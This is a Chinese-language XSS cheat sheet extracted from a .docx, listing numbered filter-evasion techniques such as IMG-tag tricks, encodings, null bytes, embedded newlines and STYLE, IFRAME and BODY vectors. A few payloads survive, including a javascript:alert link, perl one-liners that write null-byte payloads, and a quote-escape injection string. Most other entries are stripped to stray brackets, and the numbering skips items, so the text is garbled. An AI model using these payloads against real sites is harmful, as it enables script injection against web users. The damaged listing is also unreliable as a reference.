第1页 / 共6页
第2页 / 共6页
第3页 / 共6页
第4页 / 共6页
第5页 / 共6页
第6页 / 共6页
xss跨站脚本攻击汇总.docx
xss 跨站脚本攻击汇总
(1)普通的 XSS JavaScript 注入
(2)IMG 标签 XSS 使用 JavaScript 命令
(3)IMG 标签无分号无引号
)
(4)IMG 标签大小写不敏感
)
(5)HTML 编码(必须有分号)
![](javascript:alert("XSS"))
(6)修正缺陷 IMG 标签
![]()
">
(7)formCharCode 标签(计算器)
))
(8)UTF-8 的 Unicode 编码(计算器)
)
(9)7 位的 UTF-8 的 Unicode 编码是没有分号的(计算器)
(10)十六进制编码也是没有分号(计算器)
)
(11)嵌入式标签,将 Javascript 分开
;)
(12)嵌入式编码标签,将 Javascript 分开
(13)嵌入式换行符
(14)嵌入式回车
(15)嵌入式多行注入 JavaScript,这是 XSS 极端的例子
(16)解决限制字符(要求同页面)
(17)空字符
perl -e 'print "![](java\0script:alert(\"XSS\"))
";' > out
(18)空字符 2,空字符在国内基本没效果.因为没有地方可以利用
perl -e 'print "alert(\"XSS\") ";' > out
(19)Spaces 和 meta 前的 IMG 标签
;)
(20)Non-alpha-non-digit XSS
(23)双开括号
<
(24)无结束脚本标记(仅火狐等浏览器)
(29)换码过滤的 JavaScript
\";alert('XSS');//
(30)结束 Title 标签
(31)Input Image
(32)BODY Image
(33)BODY 标签
(34)IMG Dynsrc
![]()
(35)IMG Lowsrc
![]()
(36)BGSOUND
(37)STYLE sheet
(38)远程样式表
(39)List-style-image(列表式)
- XSS
(40)IMG VBscript
- XSS (41)META 链接 url (42)Iframe (43)Frame
(44)Table
